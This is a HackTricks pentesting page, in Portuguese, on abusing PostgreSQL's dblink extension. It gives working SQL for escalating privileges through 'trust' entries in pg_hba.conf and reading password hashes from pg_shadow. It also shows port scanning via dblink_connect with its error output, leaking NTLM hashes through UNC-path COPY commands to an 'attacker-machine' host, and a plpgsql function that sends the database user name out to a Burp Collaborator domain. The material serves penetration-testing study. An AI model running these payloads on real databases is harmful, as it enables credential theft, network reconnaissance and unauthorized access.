Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Encontre mais informações sobre esses ataques no documento original.

Desde PostgreSQL 9.1, a instalação de módulos adicionais é simples. Extensões registradas como dblink podem ser instaladas com CREATE EXTENSION:

CREATE EXTENSION dblink;

Uma vez que você tenha o dblink carregado, você poderá realizar alguns truques interessantes:

Escalação de Privilégios

O arquivo pg_hba.conf pode estar mal configurado permitindo conexões de localhost como qualquer usuário sem precisar saber a senha. Este arquivo pode ser encontrado tipicamente em /etc/postgresql/12/main/pg_hba.conf e uma configuração ruim se parece com:

local    all    all    trust

Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la. &#xNAN;Note também que o arquivo pg_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres.

Este caso é útil se você já tiver um shell dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.

Outra possível má configuração consiste em algo como isto:

host    all     all     127.0.0.1/32    trust

Como permitirá que todos a partir do localhost se conectem ao banco de dados como qualquer usuário. Neste caso, e se a função dblink estiver funcionando, você poderá escalar privilégios conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Abusando dblink_connect, você também pode procurar portas abertas. Se essa **função não funcionar, você deve tentar usar dblink_connect_u(), pois a documentação diz que dblink_connect_u() é idêntica a dblink_connect(), exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Note que antes de poder usar dblink_connect ou dblink_connect_u, você pode precisar executar:

CREATE extension dblink;

Caminho UNC - Divulgação de hash NTLM

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';

-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporte o HackTricks

• Confira os planos de assinatura!

• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

• Compartilhe truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.